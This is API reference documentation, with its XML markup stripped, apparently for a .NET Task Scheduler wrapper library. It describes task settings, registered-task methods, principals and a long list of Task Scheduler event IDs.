Terminal Server remote connection state change. For example, when a user connects to a user session by using the Remote Desktop Connection program + from a remote computer. + + + + + Terminal Server remote disconnection state change. For example, when a user disconnects from a user session while using the Remote Desktop Connection + program from a remote computer. + + + + Terminal Server session locked state change. For example, this state change causes the task to run when the computer is locked. + + + Terminal Server session unlocked state change. For example, this state change causes the task to run when the computer is unlocked. + + + Options for use when calling the SetSecurityDescriptorSddlForm methods. + + + No special handling. + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. + + + Defines the different states that a registered task can be in. + + + The state of the task is unknown. + + + The task is registered but is disabled and no instances of the task are queued or running. The task cannot be run until it is enabled. + + + Instances of the task are queued. + + + The task is ready to be executed, but no instances are queued or running. + + + One or more instances of the task is running. + + + + Specifies how the Task Scheduler performs tasks when the computer is in an idle condition. For information about idle conditions, see Task Idle Conditions. + + + + Gets or sets a value that indicates the amount of time that the computer must be in an idle state before the task is run. + + A value that indicates the amount of time that the computer must be in an idle state before the task is run. The minimum value is one minute. If this + value is TimeSpan.Zero, then the delay will be set to the default of 10 minutes. + + + + + Gets or sets a Boolean value that indicates whether the task is restarted when the computer cycles into an idle condition more than once. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will terminate the task if the idle condition ends before the task is completed. + + + + + Gets or sets a value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. If no value is specified for + this property, then the Task Scheduler service will wait indefinitely for an idle condition to occur. + + + A value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. The minimum time allowed is 1 minute. If + this value is TimeSpan.Zero, then the delay will be set to the default of 1 hour. + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Specifies the task settings the Task scheduler will use to start task during Automatic maintenance. + + + + Gets or sets the amount of time after which the Task scheduler attempts to run the task during emergency Automatic maintenance, if the task failed to + complete during regular Automatic maintenance. The minimum value is one day. The value of the property should be greater than + the value of the property. If the deadline is not specified the task will not be started during emergency Automatic maintenance. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a value indicating whether the Task Scheduler must start the task during the Automatic maintenance in exclusive mode. The exclusivity is + guaranteed only between other maintenance tasks and doesn't grant any ordering priority of the task. If exclusivity is not specified, the task is + started in parallel with other maintenance tasks. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + Gets or sets the amount of time the task needs to be started during Automatic maintenance. The minimum value is one minute. + Property set for a task on a Task Scheduler version prior to 2.2. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Provides the settings that the Task Scheduler service uses to obtain a network profile. + + + Gets or sets a GUID value that identifies a network profile. + Not supported under Task Scheduler 1.0. + + + Gets or sets the name of a network profile. The name is used for display purposes. + Not supported under Task Scheduler 1.0. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Provides the methods to get information from and control a running task. + + + Gets the process ID for the engine (process) which is running the task. + Not supported under Task Scheduler 1.0. + + + Gets the name of the current action that the running task is performing. + + + Gets the GUID identifier for this instance of the task. + + + Gets the operational state of the running task. + + + Releases all resources used by this class. + + + Refreshes all of the local instance variables of the task. + Thrown if task is no longer running. + + + + Provides the methods that are used to run the task immediately, get any running instances of the task, get or set the credentials that are used to + register the task, and the properties that describe the task. + + + + Gets the definition of the task. + + + Gets or sets a Boolean value that indicates if the registered task is enabled. + + As of version 1.8.1, under V1 systems (prior to Vista), this property will immediately update the Disabled state and re-save the current task. If + changes have been made to the , then those changes will be saved. + + + + Gets an instance of the parent folder. + A object representing the parent folder of this task. + + + Gets a value indicating whether this task instance is active. + true if this task instance is active; otherwise, false. + + + Gets the time the registered task was last run. + Returns if there are no prior run times. + + + Gets the results that were returned the last time the registered task was run. + The value returned is the last exit code of the last program run via an . + + + + Gets the time when the registered task is next scheduled to run. + Returns if there are no future run times. + + Potentially breaking change in release 1.8.2. For Task Scheduler 2.0, the return value prior to 1.8.2 would be Dec 30, 1899 if there were no future + run times. For 1.0, that value would have been DateTime.MinValue. In release 1.8.2 and later, all versions will return + DateTime.MinValue if there are no future run times. While this is different from the native 2.0 library, it was deemed more appropriate to + have consistency between the two libraries and with other .NET libraries. + + + + Gets the number of times the registered task has missed a scheduled run. + Not supported under Task Scheduler 1.0. + + + Gets the path to where the registered task is stored. + + + + Gets a value indicating whether this task is read only. Only available if + is true. + + true if read only; otherwise, false. + + + Gets or sets the security descriptor for the task. + The security descriptor. + + + Gets the operational state of the registered task. + + + Gets or sets the that manages this task. + The task service. + + + Gets the name of the registered task. + + + Gets the XML-formatted registration information for the registered task. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, + follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Exports the task to the specified file in XML. + Name of the output file. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + A object that encapsulates the access control rules for the current task. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + + One of the values that specifies which group of access control entries to retrieve. + + A object that encapsulates the access control rules for the current task. + + + Gets all instances of the currently running registered task. + A with all instances of current task. + Not supported under Task Scheduler 1.0. + + + + Gets the last registration time, looking first at the value and then looking for the most recent registration + event in the Event Log. + + of the last registration or if no value can be found. + + + Gets the times that the registered task is scheduled to run during a specified time. + The starting time for the query. + The ending time for the query. + The requested number of runs. A value of 0 will return all times requested. + The scheduled times that the task will run. + + + Gets the security descriptor for the task. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the task. + Not supported under Task Scheduler 1.0. + + + + Updates the task with any changes made to the by calling + from the currently registered folder using the currently registered name. + + Thrown if task was previously registered with a password. + + + Runs the registered task immediately. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. Run()). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + + Runs the registered task immediately using specified flags and a session identifier. + Defines how the task is run. + + The terminal server session in which you want to start the task. + + If the value is not passed into the parameter, then the value specified in this + parameter is ignored.If the value is passed into the flags parameter and the sessionID value is less than or + equal to 0, then an invalid argument error will be returned. + + + If the value is passed into the parameter and the sessionID value is a valid session + ID greater than 0 and if no value is specified for the user parameter, then the Task Scheduler service will try to start the task interactively as + the user who is logged on to the specified session. + + + If the value is passed into the parameter and the sessionID value is a valid session + ID greater than 0 and if a user is specified in the user parameter, then the Task Scheduler service will try to start the task interactively as the + user who is specified in the user parameter. + + + The user for which the task runs. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. RunEx(0, 0, "MyUserName")). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + This method will return without error, but the task will not run if the AllowDemandStart property of ITaskSettings is set to false for the task. + + If RunEx is invoked from a disabled task, it will return null and the task will not be run. + + Not supported under Task Scheduler 1.0. + + + + + Applies access control list (ACL) entries described by a object to the file described by the current object. + + A object that describes an access control list (ACL) entry to apply to the current task. + + Give read access to all authenticated users for a task. + + + + + + + Sets the security descriptor for the task. Not available to Task Scheduler 1.0. + The security descriptor for the task. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + Dynamically tries to load the assembly for the editor and displays it as editable for this task. + true if editor returns with OK response; false otherwise. + + The Microsoft.Win32.TaskSchedulerEditor.dll assembly must reside in the same directory as the Microsoft.Win32.TaskScheduler.dll or in the GAC. + + + + Shows the property page for the task (v1.0 only). + + + Stops the registered task immediately. + + The Stop method stops all instances of the task. + + System account users can stop a task, users with Administrator group privileges can stop a task, and if a user has rights to execute and read a task, + then the user can stop the task. A user can stop the task instances that are running under the same credentials as the user account. In all other + cases, the user is denied access to stop the task. + + + + + Returns a that represents this instance. + A that represents this instance. + + + Gets the ITaskDefinition for a V2 task and prevents the errors that come when connecting remotely to a higher version of the Task Scheduler. + The local task service. + The task instance. + if set to true this method will throw an exception if unable to get the task definition. + A valid ITaskDefinition that should not throw errors on the local instance. + Unable to get a compatible task definition for this version of the library. + + + Contains information about the compatibility of the current configuration with a specified version. + + + Gets the compatibility level. + The compatibility level. + + + Gets the property name with the incompatibility. + The property name. + + + Gets the reason for the incompatibility. + The reason. + + + Defines all the components of a task, such as the task settings, triggers, actions, and registration information. + + + Gets a collection of actions that are performed by the task. + + + + Gets or sets the data that is associated with the task. This data is ignored by the Task Scheduler service, but is used by third-parties who wish to + extend the task format. + + + For V1 tasks, this library makes special use of the SetWorkItemData and GetWorkItemData methods and does not expose that data stream directly. + Instead, it uses that data stream to hold a dictionary of properties that are not supported under V1, but can have values under V2. An example of + this is the value which is stored in the data stream. + + The library does not provide direct access to the V1 work item data. If using V2 properties with a V1 task, programmatic access to the task using the + native API will retrieve unreadable results from GetWorkItemData and will eliminate those property values if SetWorkItemData is used. + + + + + Gets the lowest supported version that supports the settings for this . + + + Gets a collection of triggers that are used to start a task. + + + Gets or sets the XML-formatted definition of the task. + + + Gets the principal for the task that provides the security credentials for the task. + + + + Gets a class instance of registration information that is used to describe a task, such as the description of the task, the author of the task, and + the date the task is registered. + + + + Gets the settings that define how the Task Scheduler service performs the task. + + + Gets the XML Schema file for V1 tasks. + The for V1 tasks. + An object containing the XML Schema for V1 tasks. + + + Determines whether this can use the Unified Scheduling Engine or if it contains unsupported properties. + + if set to true throws an with details about unsupported properties in the Data property of the exception. + + + true if this can use the Unified Scheduling Engine; otherwise, false. + + + Releases all resources used by this class. + + + Validates the current . + if set to true throw a with details about invalid properties. + true if current is valid; false if not. + + + Gets the lowest supported version. + The output list. + + + + + Provides the security credentials for a principal. These security credentials define the security context for the tasks that are associated with the principal. + + + + Gets the account associated with this principal. This value is pulled from the TaskDefinition's XMLText property if set. + The account. + + + Gets or sets the name of the principal that is displayed in the Task Scheduler UI. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the identifier of the user group that is required to run the tasks that are associated with the principal. Setting this property to + something other than a null or empty string, will set the property to NULL and will set the property to TaskLogonType.Group; + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier of the principal. + Not supported under Task Scheduler 1.0. + + + Gets or sets the security logon method that is required to run the tasks that are associated with the principal. + TaskLogonType values of Group, None, or S4UNot are not supported under Task Scheduler 1.0. + + + Gets or sets the task process security identifier (SID) type. + One of the enumeration constants. + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + Not supported under Task Scheduler versions prior to 2.1. + + + + Gets the security credentials for a principal. These security credentials define the security context for the tasks that are associated with the principal. + + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + + + + Gets or sets the identifier that is used to specify the privilege level that is required to run the tasks that are associated with the principal. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets the user identifier that is required to run the tasks that are associated with the principal. Setting this property to something other + than a null or empty string, will set the property to NULL; + + + + Validates the supplied account against the supplied . + The user or group account name. + The SID type for the process. + true if supplied account can be used for the supplied SID type. + + + Releases all resources used by this class. + + + Gets a value indicating whether current Principal settings require a password to be provided. + true if settings requires a password to be provided; otherwise, false. + + + Returns a that represents this instance. + A that represents this instance. + + + + List of security credentials for a principal under version 1.3 of the Task Scheduler. These security credentials define the security context for the + tasks that are associated with the principal. + + + + Gets the number of elements contained in the . + The number of elements contained in the . + + + Gets a value indicating whether the is read-only. + true if the is read-only; otherwise, false. + + + Gets or sets the element at the specified index. + The element at the specified index. + is not a valid index in the . + The property is set and the is read-only. + + + Adds an item to the . + The object to add to the . + The is read-only. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Copies to. + The array. + Index of the array. + + + Returns an enumerator that iterates through the collection. + A that can be used to iterate through the collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Removes all items from the . + The is read-only. + + + Inserts an item to the at the specified index. + The zero-based index at which should be inserted. + The object to insert into the . + is not a valid index in the . + The is read-only. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This + method also returns false if is not found in the original . + + The is read-only. + + + Removes the item at the specified index. + The zero-based index of the item to remove. + is not a valid index in the . + The is read-only. + + + Enumerates the privileges set for a principal under version 1.3 of the Task Scheduler. + + + Gets the element in the collection at the current position of the enumerator. + The element in the collection at the current position of the enumerator. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Advances the enumerator to the next element of the collection. + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + The collection was modified after the enumerator was created. + + + Sets the enumerator to its initial position, which is before the first element in the collection. + The collection was modified after the enumerator was created. + + + + Provides the administrative information that can be used to describe the task. This information includes details such as a description of the task, the + author of the task, the date the task is registered, and the security descriptor of the task. + + + + Gets or sets the author of the task. + + + Gets or sets the date and time when the task is registered. + + + Gets or sets the description of the task. + + + Gets or sets any additional documentation for the task. + + + Gets or sets the security descriptor of the task. + The security descriptor. + + + Gets or sets the security descriptor of the task. + Not supported under Task Scheduler 1.0. + + + Gets or sets where the task originated from. For example, a task may originate from a component, service, application, or user. + + + Gets or sets the URI of the task. + + Note: Breaking change in version 2.0. This property was previously of type . It was found that in Windows 8, many of the + native tasks use this property in a string format rather than in a URI format. + + + + Gets or sets the version number of the task. + + + Gets or sets an XML-formatted version of the registration information for the task. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Provides the settings that the Task Scheduler service uses to perform the task. + + + Gets or sets a Boolean value that indicates that the task can be started by using either the Run command or the Context menu. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task may be terminated by using TerminateProcess. + Not supported under Task Scheduler 1.0. + + + Gets or sets an integer value that indicates which version of Task Scheduler a task is compatible with. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. If no value is specified for this + property, then the Task Scheduler service will not delete the task. + + + Gets and sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. A TimeSpan value of 1 second indicates + the task is set to delete when done. A value of TimeSpan.Zero indicates that the task should not be deleted. + + + A task expires after the end boundary has been exceeded for all triggers associated with the task. The end boundary for a trigger is specified by the + EndBoundary property of all trigger types. + + + + Gets or sets a Boolean value that indicates that the task will not be started if the computer is running on battery power. + + + + Gets or sets a Boolean value that indicates that the task will not be started if the task is triggered to run in a Remote Applications Integrated + Locally (RAIL) session. + + Property set for a task on a Task Scheduler version prior to 2.1. + + + Gets or sets a Boolean value that indicates that the task is enabled. The task can be performed only when this setting is TRUE. + + + + Gets or sets the amount of time that is allowed to complete the task. By default, a task will be stopped 72 hours after it starts to run. + + + The amount of time that is allowed to complete the task. When this parameter is set to , the execution time limit is infinite. + + + If a task is started on demand, the ExecutionTimeLimit setting is bypassed. Therefore, a task that is started on demand will not be terminated if it + exceeds the ExecutionTimeLimit. + + + + Gets or sets a Boolean value that indicates that the task will not be visible in the UI by default. + + + Gets or sets the information that the Task Scheduler uses during Automatic maintenance. + + + Gets or sets the policy that defines how the Task Scheduler handles multiple instances of the task. + Not supported under Task Scheduler 1.0. + + + Gets or sets the priority level of the task. + The priority. + Value set to AboveNormal or BelowNormal on Task Scheduler 1.0. + + + Gets or sets the number of times that the Task Scheduler will attempt to restart the task. + + The number of times that the Task Scheduler will attempt to restart the task. If this property is set, the property + must also be set. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that specifies how long the Task Scheduler will attempt to restart the task. + + A value that specifies how long the Task Scheduler will attempt to restart the task. If this property is set, the property + must also be set. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the user is logged on (v1.0 only) + Property set for a task on a Task Scheduler version other than 1.0. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only when a network is available. + + + Gets or sets a Boolean value that indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task will be stopped if the computer switches to battery power. + + + Gets or sets a Boolean value that indicates that the Unified Scheduling Engine will be utilized to run this task. + Property set for a task on a Task Scheduler version prior to 2.1. + + + Gets or sets a boolean value that indicates whether the task is automatically disabled every time Windows starts. + Property set for a task on a Task Scheduler version prior to 2.2. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will wake the computer when it is time to run the task. + + + Gets or sets an XML-formatted definition of the task settings. + + + Gets or sets the information that specifies how the Task Scheduler performs tasks when the computer is in an idle state. + + + + Gets or sets the network settings object that contains a network profile identifier and name. If the RunOnlyIfNetworkAvailable property of + ITaskSettings is true and a network profile is specified in the NetworkSettings property, then the task will run only if the specified network + profile is available. + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + + Contains all the tasks that are registered. + + Potentially breaking change in 1.6.2 and later where under V1 the list previously included the '.job' extension on the task name. This has been removed so that it is consistent with V2. + + + + Releases all resources used by this class. + + + + + Gets the collection enumerator for the register task collection. + + An for this collection. + + + + Internal constructor + + TaskService instance + The filter. + + + + Retrieves the current task. See for more information. + + + + + Releases all resources used by this class. + + + + + Moves to the next task. See MoveNext for more information. + + true if next task found, false if no more tasks. + + + + Reset task enumeration. See Reset for more information. + + + + + Gets the number of registered tasks in the collection. + + + + + Gets or sets the regular expression filter for task names. + + The regular expression filter. + + + + Gets the specified registered task from the collection. + + The index of the registered task to be retrieved. + A instance that contains the requested context. + + + + Gets the named registered task from the collection. + + The name of the registered task to be retrieved. + A instance that contains the requested context. + + + + Determines whether the specified task exists. + + The name of the task. + true if task exists; otherwise, false. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Collection of running tasks. + + + + + Releases all resources used by this class. + + + + + Gets an IEnumerator instance for this collection. + + An enumerator. + + + + Releases all resources used by this class. + + + + + Gets the number of registered tasks in the collection. + + + + + Gets the specified running task from the collection. + + The index of the running task to be retrieved. + A instance. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Changes to tasks and the engine that cause events. + + + + Task Scheduler started an instance of a task for a user. + For detailed information, see the documentation for Event ID 100 on TechNet. + + + Task Scheduler failed to start a task for a user. + For detailed information, see the documentation for Event ID 101 on TechNet. + + + Task Scheduler successfully finished an instance of a task for a user. + For detailed information, see the documentation for Event ID 102 on TechNet. + + + Task Scheduler failed to start an instance of a task for a user. + For detailed information, see the documentation for Event ID 103 on TechNet. + + + Task Scheduler failed to log on the user. + For detailed information, see the documentation for Event ID 104 on TechNet. + + + Task Scheduler failed to impersonate a user. + For detailed information, see the documentation for Event ID 105 on TechNet. + + + The a user registered the Task Scheduler a task. + For detailed information, see the documentation for Event ID 106 on TechNet. + + + Task Scheduler launched an instance of a task due to a time trigger. + For detailed information, see the documentation for Event ID 107 on TechNet. + + + Task Scheduler launched an instance of a task due to an event trigger. + For detailed information, see the documentation for Event ID 108 on TechNet. + + + Task Scheduler launched an instance of a task due to a registration trigger. + For detailed information, see the documentation for Event ID 109 on TechNet. + + + Task Scheduler launched an instance of a task for a user. + For detailed information, see the documentation for Event ID 110 on TechNet. + + + Task Scheduler terminated an instance of a task due to exceeding the time allocated for execution, as configured in the task definition. + For detailed information, see the documentation for Event ID 111 on TechNet. + + + Task Scheduler could not start a task because the network was unavailable. Ensure the computer is connected to the required network as specified in the task. + For detailed information, see the documentation for Event ID 112 on TechNet. + + + The Task Scheduler registered the a task, but not all the specified triggers will start the task. Ensure all the task triggers are valid. + For detailed information, see the documentation for Event ID 113 on TechNet. + + + Task Scheduler could not launch a task as scheduled. Instance is started now as required by the configuration option to start the task when available, if the scheduled time is missed. + For detailed information, see the documentation for Event ID 114 on TechNet. + + + Task Scheduler failed to roll back a transaction when updating or deleting a task. + For detailed information, see the documentation for Event ID 115 on TechNet. + + + Task Scheduler saved the configuration for a task, but the credentials used to run the task could not be stored. + For detailed information, see the documentation for Event ID 116 on TechNet. + + + Task Scheduler launched an instance of a task due to an idle condition. + For detailed information, see the documentation for Event ID 117 on TechNet. + + + Task Scheduler launched an instance of a task due to system startup. + For detailed information, see the documentation for Event ID 118 on TechNet. + + + Task Scheduler launched an instance of a task due to a user logon. + For detailed information, see the documentation for Event ID 119 on TechNet. + + + Task Scheduler launched an instance of a task due to a user connecting to the console. + For detailed information, see the documentation for Event ID 120 on TechNet. + + + Task Scheduler launched an instance of a task due to a user disconnecting from the console. + For detailed information, see the documentation for Event ID 121 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely connecting. + For detailed information, see the documentation for Event ID 122 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely disconnecting. + For detailed information, see the documentation for Event ID 123 on TechNet. + + + Task Scheduler launched an instance of a task due to a user locking the computer. + For detailed information, see the documentation for Event ID 124 on TechNet. + + + Task Scheduler launched an instance of a task due to a user unlocking the computer. + For detailed information, see the documentation for Event ID 125 on TechNet. + + + Task Scheduler failed to execute a task. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 126 on TechNet. + + + Task Scheduler failed to execute a task due to a shutdown race condition. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 127 on TechNet. + + + Task Scheduler did not launch a task because the current time exceeds the configured task end time. + For detailed information, see the documentation for Event ID 128 on TechNet. + + + Task Scheduler launched an instance of a task in a new process. + For detailed information, see the documentation for Event ID 129 on TechNet. + + + The Task Scheduler service failed to start a task due to the service being busy. + For detailed information, see the documentation for Event ID 130 on TechNet. + + + Task Scheduler failed to start a task because the number of tasks in the task queue exceeds the quota currently configured. + For detailed information, see the documentation for Event ID 131 on TechNet. + + + The Task Scheduler task launching queue quota is approaching its preset limit of tasks currently configured. + For detailed information, see the documentation for Event ID 132 on TechNet. + + + Task Scheduler failed to start a task in the task engine for a user. + For detailed information, see the documentation for Event ID 133 on TechNet. + + + Task Engine for a user is approaching its preset limit of tasks. + For detailed information, see the documentation for Event ID 134 on TechNet. + + + Task Scheduler did not launch a task because launch condition not met, machine not idle. + For detailed information, see the documentation for Event ID 135 on TechNet. + + + A user updated Task Scheduler a task + For detailed information, see the documentation for Event ID 140 on TechNet. + + + A user deleted Task Scheduler a task + For detailed information, see the documentation for Event ID 141 on TechNet. + + + A user disabled Task Scheduler a task + For detailed information, see the documentation for Event ID 142 on TechNet. + + + Task Scheduler woke up the computer to run a task. + For detailed information, see the documentation for Event ID 145 on TechNet. + + + Task Scheduler failed to subscribe the event trigger for a task. + For detailed information, see the documentation for Event ID 150 on TechNet. + + + Task Scheduler launched an action in an instance of a task. + For detailed information, see the documentation for Event ID 200 on TechNet. + + + Task Scheduler successfully completed a task instance and action. + For detailed information, see the documentation for Event ID 201 on TechNet. + + + Task Scheduler failed to complete an instance of a task with an action. + For detailed information, see the documentation for Event ID 202 on TechNet. + + + Task Scheduler failed to launch an action in a task instance. + For detailed information, see the documentation for Event ID 203 on TechNet. + + + Task Scheduler failed to retrieve the event triggering values for a task . The event will be ignored. + For detailed information, see the documentation for Event ID 204 on TechNet. + + + Task Scheduler failed to match the pattern of events for a task. The events will be ignored. + For detailed information, see the documentation for Event ID 205 on TechNet. + + + Task Scheduler is shutting down the a task engine. + For detailed information, see the documentation for Event ID 301 on TechNet. + + + Task Scheduler is shutting down the a task engine due to an error. + For detailed information, see the documentation for Event ID 303 on TechNet. + + + Task Scheduler sent a task to a task engine. + For detailed information, see the documentation for Event ID 304 on TechNet. + + + Task Scheduler did not send a task to a task engine. + For detailed information, see the documentation for Event ID 305 on TechNet. + + + For a Task Scheduler task engine, the thread pool failed to process the message. + For detailed information, see the documentation for Event ID 306 on TechNet. + + + The Task Scheduler service failed to connect to a task engine process. + For detailed information, see the documentation for Event ID 307 on TechNet. + + + Task Scheduler connected to a task engine process. + For detailed information, see the documentation for Event ID 308 on TechNet. + + + There are Task Scheduler tasks orphaned during a task engine shutdown. + For detailed information, see the documentation for Event ID 309 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 310 on TechNet. + + + Task Scheduler failed to start a task engine process due to an error. + For detailed information, see the documentation for Event ID 311 on TechNet. + + + Task Scheduler created the Win32 job object for a task engine. + For detailed information, see the documentation for Event ID 312 on TechNet. + + + The Task Scheduler channel is ready to send and receive messages. + For detailed information, see the documentation for Event ID 313 on TechNet. + + + Task Scheduler has no tasks running for a task engine, and the idle timer has started. + For detailed information, see the documentation for Event ID 314 on TechNet. + + + A task engine process failed to connect to the Task Scheduler service. + For detailed information, see the documentation for Event ID 315 on TechNet. + + + A task engine failed to send a message to the Task Scheduler service. + For detailed information, see the documentation for Event ID 316 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 317 on TechNet. + + + Task Scheduler shut down a task engine process. + For detailed information, see the documentation for Event ID 318 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to launch a task. + For detailed information, see the documentation for Event ID 319 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to stop a task instance. + For detailed information, see the documentation for Event ID 320 on TechNet. + + + Task Scheduler did not launch a task because an instance of the same task is already running. + For detailed information, see the documentation for Event ID 322 on TechNet. + + + Task Scheduler stopped an instance of a task in order to launch a new instance. + For detailed information, see the documentation for Event ID 323 on TechNet. + + + Task Scheduler queued an instance of a task and will launch it as soon as another instance completes. + For detailed information, see the documentation for Event ID 324 on TechNet. + + + Task Scheduler queued an instance of a task that will launch immediately. + For detailed information, see the documentation for Event ID 325 on TechNet. + + + Task Scheduler did not launch a task because the computer is running on batteries. If launching the task on batteries is required, change the respective flag in the task configuration. + For detailed information, see the documentation for Event ID 326 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is switching to battery power. + For detailed information, see the documentation for Event ID 327 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is no longer idle. + For detailed information, see the documentation for Event ID 328 on TechNet. + + + Task Scheduler stopped an instance of a task because the task timed out. + For detailed information, see the documentation for Event ID 329 on TechNet. + + + Task Scheduler stopped an instance of a task as request by a user . + For detailed information, see the documentation for Event ID 330 on TechNet. + + + Task Scheduler will continue to execute an instance of a task even after the designated timeout, due to a failure to create the timeout mechanism. + For detailed information, see the documentation for Event ID 331 on TechNet. + + + Task Scheduler did not launch a task because a user was not logged on when the launching conditions were met. Ensure the user is logged on or change the task definition to allow the task to launch when the user is logged off. + For detailed information, see the documentation for Event ID 332 on TechNet. + + + The Task Scheduler service has started. + For detailed information, see the documentation for Event ID 400 on TechNet. + + + The Task Scheduler service failed to start due to an error. + For detailed information, see the documentation for Event ID 401 on TechNet. + + + Task Scheduler service is shutting down. + For detailed information, see the documentation for Event ID 402 on TechNet. + + + The Task Scheduler service has encountered an error. + For detailed information, see the documentation for Event ID 403 on TechNet. + + + The Task Scheduler service has encountered an RPC initialization error. + For detailed information, see the documentation for Event ID 404 on TechNet. + + + The Task Scheduler service has failed to initialize COM. + For detailed information, see the documentation for Event ID 405 on TechNet. + + + The Task Scheduler service failed to initialize the credentials store. + For detailed information, see the documentation for Event ID 406 on TechNet. + + + Task Scheduler service failed to initialize LSA. + For detailed information, see the documentation for Event ID 407 on TechNet. + + + Task Scheduler service failed to initialize idle state detection module. Idle tasks may not be started as required. + For detailed information, see the documentation for Event ID 408 on TechNet. + + + The Task Scheduler service failed to initialize a time change notification. System time updates may not be picked by the service and task schedules may not be updated. + For detailed information, see the documentation for Event ID 409 on TechNet. + + + Task Scheduler service received a time system change notification. + For detailed information, see the documentation for Event ID 411 on TechNet. + + + Task Scheduler service failed to launch tasks triggered by computer startup. Restart the Task Scheduler service. + For detailed information, see the documentation for Event ID 412 on TechNet. + + + Task Scheduler service started Task Compatibility module. + For detailed information, see the documentation for Event ID 700 on TechNet. + + + Task Scheduler service failed to start Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 701 on TechNet. + + + Task Scheduler failed to initialize the RPC server for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 702 on TechNet. + + + Task Scheduler failed to initialize Net Schedule API for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 703 on TechNet. + + + Task Scheduler failed to initialize LSA for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 704 on TechNet. + + + Task Scheduler failed to start directory monitoring for the Task Compatibility module. + For detailed information, see the documentation for Event ID 705 on TechNet. + + + Task Compatibility module failed to update a task to the required status. + For detailed information, see the documentation for Event ID 706 on TechNet. + + + Task Compatibility module failed to delete a task. + For detailed information, see the documentation for Event ID 707 on TechNet. + + + Task Compatibility module failed to set a security descriptor for a task. + For detailed information, see the documentation for Event ID 708 on TechNet. + + + Task Compatibility module failed to update a task. + For detailed information, see the documentation for Event ID 709 on TechNet. + + + Task Compatibility module failed to upgrade existing tasks. Upgrade will be attempted again next time 'Task Scheduler' service starts. + For detailed information, see the documentation for Event ID 710 on TechNet. + + + 